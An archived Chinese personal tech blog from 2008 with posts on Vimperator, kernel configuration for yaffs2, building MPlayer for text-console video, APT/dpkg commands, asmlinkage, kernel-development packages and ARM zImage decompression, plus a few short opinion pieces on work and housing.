Vim是Vi编辑器的Improved版本,是linux下最为强大的编辑工具。它与我们传统的文字编辑器不同的是,它对键盘的利用率几乎达到极致。因此 熟练的人操作vim你会看到他的手指在键盘上面飞动,编辑效率及其高效,当然对于普通人,特别是初学者来说,Vim可能显得比较别扭。
Vimperator引入了和Vim类似的概念来操作浏览器。例如它也有命令模式和插入模式,在命令模式下,我们可以t键然后输入一个url,这样就可以 在新标签页打开。或者按住o键输入url可以在当前标签打开。标签切换使用ctrl+P/N来左右切换,按住大写的U可以撤销刚才不小心关闭的页面,按d 删除键可以关闭当前标签,页面浏览时使用和Vim一摸一样的方式,都是hjkl来上下左右移动屏幕.试用了一下,发现用起来真的非常舒服,不用在键盘,鼠 标或者触摸屏上来回切换.
它还有其他一些功能,可以快速添加收藏夹呀,还有命令自动补全,等等.
具体的帮助信息可以按住:号,切换到命名行模式,然后输入help来看官方的帮助文档,或者直接按F1也行.需要注意的是初始安装完之后,默认情况下是会 把菜单和工具栏隐藏起来的,你可以输入:号切换到命令行模式,然后输入set guioptions+=mT来开启.只要退出时按两下大写的Z就可以保存当前设置退出.

kernel 支持yaffs2文件系统

first download yaffs2 source code,
(1) copy "yaffs2" to "linux-2.6.26/fs/"
(2) edit "fs/Makefile"
obj-$(CONFIG_YAFFS_FS) += yaffs2
(3) edit "fs/Kconfig"
# Patched by YAFFS
source "fs/yaffs2/Kconfig"

config JFFS2_FS # add here above

(4) make menuconfig
File systems --->
Miscellaneous filesystems --->
<*> YAFFS2 file system support
-*- 512 byte / page devices

#cd fs/yaffs/utils/
#make
#./mkyaffs2image
#./mkyaffsimage

Monday, November 10, 2008

在文本界面(Text Console)下播放音视频

前一段时间在youtube看到了一段使用Linux文本字符流来播放电影,网址

http://www.youtube.com/watch?v=ji0A3kOAc9U,感觉非常有意思,拿出来大家一起娱乐,也巩固一下内核编译和驱动的知识。

首先,确保内核支持VESA(视频电子标准)驱动。并保证内核选择了正确的声卡驱动程序。
以我的机器为例,我的是普通VGA显卡(主板集成,8M显存),声卡是Intel AC97,则在内核中选择以下

必须要支持以下功能:
(1)VESA模式的支持
Device Drivers ---> Graphics support --->
VGA 16-color graphics support
[*] VESA VGA graphics support

(2)相关音频接口的支持,例如:Sequencer support(MIDI接口的支持)
Device Drivers ---> Sound ---> Advanced Linux Sound Architecture --->
Advanced Linux Sound Architecture
Sequencer support
Sequencer dummy client
OSS Mixer API
OSS PCM (digital audio) API
[*] OSS PCM (digital audio) API - Include plugin system
......

(3)声卡驱动
Device Drivers ---> Sound ---> Advanced Linux Sound Architecture ---> PCI devices --->
Intel/SiS/nVidia/AMD/ALi AC97 Controller (AC97声卡)

确保内核支持以上功能后,就可以安装软件了。下面是安装软件的步骤:


1. 下载软件,全部存储到/mnt/source目录下
mkdir -p /mnt/source
cd /mnt/source
wget http://prdownloads.sourceforge.net/aa-project/aalib-1.4rc4.tar.gz
wget http://www4.mplayerhq.hu/MPlayer/releases/MPlayer-1.0rc1.tar.bz2
wget http://www4.mplayerhq.hu/MPlayer/releases/codecs/essential-20061022.tar.bz2
wget http://downloads.sourceforge.net/lrmi/lrmi-0.10.tar.gz?modtime=1133743627&big_mirror=0

2. 准备vesautils(自持VESA需要)
svn checkout svn://svn.mplayerhq.hu/vesautils/trunk vesautils

3. 准备解码器库文件
tar essential-20061022.tar.bz2
mkdir /usr/local/lib/codecs
cp essential-20061022/* /usr/local/lib/codecs

4. 修改/etc/ld.so.conf,添加下面的行
/usr/local/lib

5. 编译lrmi
cd /mnt/source
tar -zxvf lrmi-0.10.tar.gz
cd lrmi-0.10
make
make install

6. 编译vesautils
cd /mnt/source/vesautils/libvbe/
make
make install

7. 编译软件aalib
tar -zxvf aalib-1.4rc4.tar.gz
cd aalib-1.4.0
./configure
make
make install

8. 编译Mplayer
tar -jxvf MPlayer-1.0rc1.tar.bz2
cd MPlayer-1.0rc1
编辑configure文件,找到4195行,即:
4195 _ld_aa=`aalib-config --libs | cut -d " " -f 2,5,6`
在该行的后面添加下面两行:
else
_ld_aa="-laa"

./configure --with-codecsdir=/usr/local/lib/codecs --with-win32libdir=/usr/local/lib/codecs

--with-reallibdir=/usr/local/lib/codecs --enable-aa --enable-vesa
make
make install

9. 测试
下载就可以在Text Console下播放电影了。
mplayer -vo vesa 电影文件名

要测试Videos in ASCII Art
mplayer -vo aa 电影文件名

10. 如果VESA播放时分辨率不高,修改/etc/grub.conf文件,在kernel参数后添加选项vga=791。
例如:
kernel /vmlinuz-2.6.18 ro root=/dev/VolGroup00/LogVol00 rhgb quiet vga=791

Friday, November 7, 2008

ebook 引擎

迄今為止美國前3名的電子書搜索網站是:
www.pdfgeni.com
www.pdf-search-engine.com
www.data-sheet.net

這些網站主要為科技書籍,涵蓋從計算機科學,工程和數學編程和網路的發展...等等,內容豐富。 www.freecomputerbooks.com
www.freetechbooks.com
www.onlinecomputerbooks.com

程序员

一个你认为不起眼的小事情也会让人感觉莫大的惊喜。岁月会让我们老去,但兴趣,专业的心态不会。我更希望在帮传代的过程中,用朴素的,职业的技术情节影响新生代程序员,推动行业的整体进步。

Thursday, November 6, 2008

工作

工作就是工作,你是拿钱的,公司/客户是给钱的,那你就要让客户/公司爽;
兴趣是兴趣,是让你爽,那是你倒贴钱的。
所以呢,工作和兴趣一样,那是别人付钱让你爽,哪来的好事?
不排除又拿钱又爽的事情,有这样的事?有,但那是小概率事件。
公司和客户就是嫖客,我们是妓女!你没有选择,要不就回家种地!

最精简的房产内幕

刚刚才搞明白, 原来中国不存在个人破产保护制度, 于是, 当房子成为负资产, 你断供, 流程就是这样的:

-> 银行起诉你,但你还是没钱

-> 银行以很低(低于市场价格)的价格把你的房子拍卖出去, 据说黑幕不小

-> 你欠银行60万,房子拍卖了20万(天知道拍给哪个亲戚了),剩下的40万你依然要还, 否则:

-> 从今以后,你的任何国内银行的账户, 只要上面有一毛钱, 都会被划走。

怪不得中国没有次贷危机呢, 原来是嫁祸给业主了。 老美爽啊,一旦房子成为负资产, 拍屁股走人, 银行爱咋地咋地。

Monday, November 3, 2008

常用的APT命令参数

特简单记录于此,以备不时之需

apt-cache search package 搜索包

apt-cache show package 获取包的相关信息,如说明、大小、版本等

apt-get install package 安装包

apt-get install package - - reinstall 重新安装包

apt-get -f install 修复安装"-f = ——fix-missing"

apt-get remove package 删除包

apt-get remove package - - purge 删除包,包括删除配置文件等

apt-get update 更新源

apt-get upgrade 更新已安装的包

apt-get dist-upgrade 升级系统

apt-get dselect-upgrade 使用 dselect 升级

apt-cache depends package 了解使用依赖

apt-cache rdepends package 是查看该包被哪些包依赖

sudo apt-get build-dep package 安装相关的编译环境

apt-get source package 下载该包的源代码

sudo apt-get clean && sudo apt-get autoclean 清理无用的包

sudo apt-get check 检查是否有损坏的依赖

apt-get update——在修改/etc/apt/sources.list或者/etc/apt/preferences之後运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的。

apt-get install packagename——安装一个新软件包(参见下文的aptitude)

apt-get remove packagename——卸载一个已安装的软件包(保留配置文件)

apt-get –purge remove packagename——卸载一个已安装的软件包(删除配置文件)

dpkg –force-all –purge packagename 有些软件很难卸载,而且还阻止了别的软件的应用,就可以用这个,不过有点冒险。

apt-get autoclean apt会把已装或已卸的软件都备份在硬盘上,所以如果需要空间的话,可以让这个命令来删除你已经删掉的软件

apt-get clean 这个命令会把安装的软件的备份也删除,不过这样不会影响软件的使用的。

apt-get upgrade——更新所有已安装的软件包

apt-get dist-upgrade——将系统升级到新版本

apt-cache search string——在软件包列表中搜索字符串

dpkg -l package-name-pattern——列出所有与模式相匹配的软件包。如果您不知道软件包的全名,您可以使用“*package-name-pattern*”。

aptitude——详细查看已安装或可用的软件包。与apt-get类似,aptitude可以通过命令行方式调用,但仅限于某些命令——最常见的有安装和卸载命令。由于aptitude比apt-get了解更多信息,可以说它更适合用来进行安装和卸载。

apt-cache showpkg pkgs——显示软件包信息。

apt-cache dumpavail——打印可用软件包列表。

apt-cache show pkgs——显示软件包记录,类似于dpkg –print-avail。

apt-cache pkgnames——打印软件包列表中所有软件包的名称。

dpkg -S file——这个文件属于哪个已安装软件包。

dpkg -L package——列出软件包中的所有文件。

apt-file search filename——查找包含特定文件的软件包(不一定是已安装的),这些文件的文件名中含有指定的字符串。apt-file是一个独立的软件包。您必须 先使用apt-get install来安装它,然後运行apt-file update。如果apt-file search filename输出的内容太多,您可以尝试使用apt-file search filename | grep -w filename(只显示指定字符串作为完整的单词出现在其中的那些文件名)或者类似方法,例如:apt-file search filename | grep /bin/(只显示位于诸如/bin或/usr/bin这些文件夹中的文件,如果您要查找的是某个特定的执行文件的话,这样做是有帮助的)。

apt-get autoclean——定期运行这个命令来清除那些已经卸载的软件包的.deb文件。通过这种方式,您可以释放大量的磁盘空间。如果您的需求十分迫切,可 以使用apt-get clean以释放更多空间。这个命令会将已安装软件包裹的.deb文件一并删除。大多数情况下您不会再用到这些.debs文件,因此如果您为磁盘空间不足 而感到焦头烂额,这个办法也许值得一试。

Monday, October 27, 2008

关于kernel里面的asmlinkage

kernelnewibes上的解释是:

What is asmlinkage?
The asmlinkage tag is one other thing that we should observe aboutthis simple function.
 This is a #define for some gcc magic that tellsthe compiler that the function should not
 expect to find any of itsarguments in registers (a common optimization), but only on 
theCPU’s stack. Recall our earlier assertion that system_call consumesits first argument, 
the system call number, and allows up to four morearguments that are passed along to the 
real system call. system_callachieves this feat simply by leaving its other arguments (which 
werepassed to it in registers) on the stack. All system calls are markedwith the asmlinkage tag,
 so they all look to the stack for arguments.Of course, in sys_ni_syscall’s case, this doesn’t make
 any difference,because sys_ni_syscall doesn’t take any arguments, but it’s an issuefor most 
other system calls. And, because you’ll be seeingasmlinkage in front of many other functions, 
I thought you shouldknow what it was about.

在kernel2.6.26
include/linux/linkage.h里面定义如下:

#ifndef asmlinkage_protect
# define asmlinkage_protect(n, ret, args...) do { } while (0)
#endif

CPP_ASMLINKAGE的定义为:
#ifdef __cplusplus
#define CPP_ASMLINKAGE extern “C”
#else
#define CPP_ASMLINKAGE
#endif

而在include/asm-i386/linkage.h里则有更明确的定义:

#define asmlinkage CPP_ASMLINKAGE __attribute__((regparm(0)))

__attribute__是GCC的C语言扩展语法。regparm(0)表示不从寄存器中传递参数。

另外,如果是__attribute__((regparm(3))),那么调用函数的时候参数不是通过栈传递,而是直接放到寄存器里,被调用函数直接从寄存器取参数。

通俗而言,asmlinkage是声明在函数之前,表示该函数可以被汇编代码调用。 加上"asmlinkage" 后,C function 就会由 stack 取参数,而不是从 register 取参数。asmlinkage大都用在系统调用中,系统调用需要在entry.s文件中用汇编语言调用,所以必须要保证它符合C语言的参数传递规则,才能用汇编语言正确调用它。

Sunday, October 26, 2008

Ubuntu中软件安装与卸载的相关命令


安装软件
命令: apt-get install softname1 softname2 softname3……

卸载软件
命令: apt-get remove softname1 softname2 softname3……

卸载并清除配置
命令: apt-get remove --purge softname1

更新软件信息数据库
命令: apt-get update

进行系统升级
命令: apt-get upgrade

搜索软件包
命令: apt-cache search softname1 softname2 softname3……

Deb软件包相关安装与卸载

安装deb软件包
命令: dpkg -i xxx.deb

删除软件包
命令: dpkg -r xxx.deb

连同配置文件一起删除
命令: dpkg -r --purge xxx.deb

查看软件包信息
命令: dpkg -info xxx.deb

查看文件拷贝详情
命令: dpkg -L xxx.deb

查看系统中已安装软件包信息
命令: dpkg -l

重新配置软件包
命令: dpkg-reconfigure xxx

按照安装软件包的方式为:

1、通过deb包安装的情况:
安装.deb包:
sudo dpkg -i package_file.deb
卸载.deb包:
sudo dpkg -r package_name

2、通过apt-get安装的情况:
安装命令:
sudo apt-get install package_name
卸载命令:
sudo apt-get remove package_name

Friday, October 24, 2008

Debian/Ubuntu Linux开发者参考

如果你想要升级你的Debian/Ubuntu Linux内核,或者你希望为内核开发新的模块,或者您要为某个硬件写新的驱动程序……这一切都涉及到Debian/Ubuntu Linux内核编程。

作为一个内核编程者,有那么几个软件是你必须要有的,看作是你进行内核编程的几件法宝吧,下面我一一列举出来:

1、gcc

大名鼎鼎的gcc我想没有人不知道的吧?它是任何编程者必然要先安装的一个武器了。不过一般如果你是安装的Debian系统,应该已经默认安装了的。要是Ubuntu你就安装一下吧,安装方法嘛,就是输入:

apt-get install gcc

2、make

如果你实实在在地写过有用的程序,你一定输入过make clean、make、make install等命令的,make是一个源代码维护工具,它能自动检测出需要重新编译的源文件并根据你设定的编译规则去重新编译程序。这里也不多说,如果 不了解的朋友就google一下吧。不过一般如果你是安装的Debian系统,应该已经默认安装了的。要是Ubuntu你就安装一下吧,安装方法一样,输 入:

apt-get install make

3、kernel-source

从这个包的名称上已经知道了,这是内核源码包。你可以apt-cache search kernel-source搜索到内核源代码包,并用uname -r命令查看到当前系统内核版本,然后用apt-get install kernel-source-xxxx来安装和你内核版本一致的内核源代码包。

但我并不建议你这样做,因为大多数发行版的Linux的内核源代码包并不是和你从 kernel.org上下载来的完全一致,应该是经过发行者们修改优化过的包,虽然发行版的制作者们花了心血在上面,但对我们编程者来说这并不是件好事, 因为大多发行版的源代码包缺少某些必要的头文件和某些有用的脚本程序,这会导致我们在编写内核模块时遇到麻烦,比如编译时可能会报错说某个头文件找不到, 又可能报错说某个脚本程序不存在啦。

如果你直接去kernel.org上下载一个新的内核来编译升级你的内核,并在此基础上进行内核编程可能会省事一些,至少我后面讲到的这些包你都可以不用安装了,把KERNEL_DIR变量设置为你内核源代码包的位置就够了。

在这里还是以Debian 3.1、内核2.6.8-2-386为基础来教大家准备内核编程环境吧。那么你依次用这几个命令来安装kernel-source包吧。

apt-cache search kernel-source
uname -r

apt-get install kernel-source-xxxx

注:如果你不想重新编译内核,内核源代码包kernel-source是完全可以不下载来的。

4、kernel-headers

这是内核源代码头文件包,不管你是要进行内核模块开发还是进行驱动程序开发,这个包都是必须 要安装的。因为作为一个内核模块编写者,通常会调用内核里的一些东西,比如内核头文件,内核数据结构申明等。它里面包含了一些关键的内核头文件。否则在编 译内核时会报类似下面的错误:

HOSTCC  scripts/basic/fixdep
scripts/basic/fixdep.c:105:23: error: sys/types.h: 没有那个文件或目录

输入如下命令来安装吧:

apt-cache search kernel-headers
uname -r
apt-get instakk kernel-headers-xxxx

注:在Ubuntu下,好象这个包的前面都加上了linux-,从而变成了linux-kernel-headers。

如果之前没有安装过kernel-kbuild包,安装此包的过程中会安装kernel-kbuild包,这个包在下面介绍。

5、kernel-kbuild

这个包是用来编译内核模块的,下载安装这个包后会发现在/usr/src目录下多了一个kernel-kbuild-xxxx开头的目录,下面只有scripts一个目录,显然这是用来编译内核模块的一些脚本程序。安装方法一样:

apt-cache search kernel-kbuild
uname -r
apt-get install kernel-kbuild-xxxx

注:你也会发现,在上面安装kernel-headers包后,/usr/src/kernel-headers-xxxx目录下有个scripts目录,其实是到/usr/src/kernel-kbuild-xxxx目录下的scripts的一个链接。

6、build-essential

这个包包含一个在建立deb包过程中起关键作用的包的信息列表,如果你不想建立deb包你就不需要安装此表,如果需要生成deb包就最好安装一下这个包吧。安装方法:

apt-get install build-essential

7、kernel-package

如果你想把内核镜像做成一个deb包来用,那么必须用安装这个包了。也就是说只有安装了这个软件包你才能有make-kpkg命令可用。安装方法一样了:

apt-get install kernel-package

8、initrd-tools

如果你想制作启动过程的initrd镜像,则这个包是必不可少的。安装了这个包之后才有mkinitrd命令可用的。安装方法:

apt-get instakk initrd-tools

Saturday, September 27, 2008

zImage内核镜像解压过程详解

本文以linux-2.6.14内核在S3C2410平台上运行为例,讲解内核的解压过程。内核编译完成后会生成zImage内核镜像文件。关于bootloader加载zImage到内核,并且跳转到zImage开始地址运行zImage的过 程,相信大家都很容易理解。但对于zImage是如何解压的过程,就不是那么好理解了。本文将结合部分关键代码,讲解zImage的解压过程。

先看看zImage的组成吧。在内核编译完成后会在arch/arm/boot/下生成zImage。

在arch/armboot/Makefile中:

$(obj)/zImage: $(obj)/compressed/vmlinux FORCE

$(call if_changed,objcopy)

由此可见,zImage的是elf格式的arch/arm/boot/compressed/vmlinux二进制化得到的

在arch/armboot/compressed/Makefile中:

$(obj)/vmlinux: $(obj)/vmlinux.lds $(obj)/$(HEAD) $(obj)/piggy.o \

$(addprefix $(obj)/, $(OBJS)) FORCE

$(call if_changed,ld)

$(obj)/piggy.gz: $(obj)/../Image FORCE

$(call if_changed,gzip)

$(obj)/piggy.o: $(obj)/piggy.gz FORCE

其中Image是由内核顶层目录下的vmlinux二进制化后得到的。注意:arch/arm/boot/compressed/vmlinux是位置无关的,这个有助于理解后面的代码。,链接选项中有个 –fpic参数:

EXTRA_CFLAGS := -fpic

总结一下zImage的组成,它是由一个压缩后的内核piggy.o,连接上一段初始化及解压功能的代码(head.o misc.o),组成的。

下面就要看内核的启动了,那么内核是从什么地方开始运行的呢?这个当然要看lds文件啦。zImage的生成经历了两次大的链接过程:一次是顶层 vmlinux的生成,由arch/arm/boot/vmlinux.lds(这个lds文件是由arch/arm/kernel /vmlinux.lds.S生成的)决定;另一次是arch/arm/boot/compressed/vmlinux的生成,是由arch/arm /boot/compressed/vmlinux.lds(这个lds文件是由arch/arm/boot/compressed /vmlinux.lds.in生成的)决定。zImage的入口点应该由arch/arm/boot/compressed/vmlinux.lds决 定。从中可以看出入口点为‘_start’

OUTPUT_ARCH(arm)

ENTRY(_start)

SECTIONS

{

. = 0;

_text = .;

.text : {

_start = .;

*(.start)

*(.text)

……

}

在arch/arm/boot/compressed/head.S中找到入口点。

看看head.S会做些什么样的工作:

• 对于各种Arm CPU的DEBUG输出设定,通过定义宏来统一操作;

•设置kernel开始和结束地址,保存architecture ID;

• 如果在ARM2以上的CPU中,用的是普通用户模式,则升到超级用户模式,然后关中断

• 分析LC0结构delta offset,判断是否需要重载内核地址(r0存入偏移量,判断r0是否为零)。

•需要重载内核地址,将r0的偏移量加到BSS region和GOT table中的每一项。

对于位置无关的代码,程序是通过GOT表访问全局数据目标的,也就是说GOT表中中记录的是全局数据目标的绝对地址,所以其中的每一项也需要重载。

• 清空bss堆栈空间r2-r3

•建立C程序运行需要的缓存

•这时r2是缓存的结束地址,r4是kernel的最后执行地址,r5是kernel境象文件的开始地址

•用文件misc.c的函数decompress_kernel(),解压内核于缓存结束的地方(r2地址之后)。

可能大家看了上面的文字描述还是不清楚解压的动态过程。还是先用图表的方式描述下代码的搬运解压过程。然后再针对中间的一些关键过程阐述。

假定zImage在内存中的初始地址为0x30008000(这个地址由bootloader决定,位置不固定)

1、初始状态

.text

0x30008000开始,包含piggydata段(即压缩的内核段)

. got

?

. data

?

.bss

?

.stack

4K大小

2、head.S调用misc.c中的decompress_kernel刚解压完内核后

.text

0x30008000开始,包含piggydata段(即压缩的内核段)

. got

?

. data

?

.bss

?

.stack

4K大小

解压函数所需缓冲区

64K大小

解压后的内核代码

小于4M

3、此时会将head.S中的部分代码重定位

.text

0x30008000开始,包含piggydata段(即压缩的内核段)

. got

?

. data

?

.bss

?

.stack

4K大小

解压函数所需缓冲区

64K大小

解压后的内核代码

小于4M

head.S中的部分重定位代码代码

reloc_startreloc_end

4、跳转到重定位后的reloc_start处,由reloc_start至reloc_end的代码复制解压后的内核代码到0x30008000处,并调用call_kernel跳转到0x30008000处执行。

解压后的内核

0x30008000开始

在通过head.S了解了动态过程后,大家可能会有几个问题:

问题1:zImage是如何知道自己最后的运行地址是0x30008000的?

问题2:调用decompress_kernel函数时,其4个参数是什么值及物理含义?

问题3:解压函数是如何确定代码中压缩内核位置的?

先回答第1个问题

这个地址的确定和Makefile和链接脚本有关,在arch/arm/Makefile文件中的

textaddr-y := 0xC0008000 这个是内核启动的虚拟地址

TEXTADDR := $(textaddr-y)

在arch/arm/mach-s3c2410/Makefile.boot中

zreladdr-y := 0x30008000 这个就是zImage的运行地址了

在arch/arm/boot/Makefile文件中

ZRELADDR := $(zreladdr-y)

在arch/arm/boot/compressed/Makefile文件中

zreladdr=$(ZRELADDR)

在arch/arm/boot/compressed/Makefile中有

.word zreladdr @ r4

内核就是用这种方式让代码知道最终运行的位置的

接下来再回答第2个问题

decompress_kernel(ulg output_start, ulg free_mem_ptr_p, ulg free_mem_ptr_end_p,

int arch_id)

l output_start:指解压后内核输出的起始位置,此时它的值参考上面的图表,紧接在解压缓冲区后;

l free_mem_ptr_p:解压函数需要的内存缓冲开始地址;

l ulg free_mem_ptr_end_p:解压函数需要的内存缓冲结束地址,共64K;

l arch_id :architecture ID,对于SMDK2410这个值为193;

最后回答第3个问题

首先看看piggy.o是如何生成的,在arch/arm/boot/compressed/Makefie中

$(obj)/piggy.o: $(obj)/piggy.gz FORCE

Piggy.o是由piggy.S生成的,咱们看看piggy.S的内容:

.section .piggydata,#alloc

.globl input_data

input_data:

.incbin "arch/arm/boot/compressed/piggy.gz"

.globl input_data_end

input_data_end:

再看看misc.c中decompress_kernel函数吧,它将调用gunzip()解压内核。gunzip()在lib/inflate.c中定义,它将调用NEXTBYTE(),进而调用get_byte()来获取压缩内核代码。

在misc.c中

#define get_byte() (inptr <>

查看fill_inbuf函数

int fill_inbuf(void)

{

if (insize != 0)

error("ran out of input data");

inbuf = input_data;

insize = &input_data_end[0] - &input_data[0];

inptr = 1;

return inbuf[0];

}

发现什么没?这里的input_data不正是piggy.S里的input_data吗?这个时候应该明白内核是怎样确定piggy.gz在zImage中的位置了吧。

Blog Archive

Labels

Followers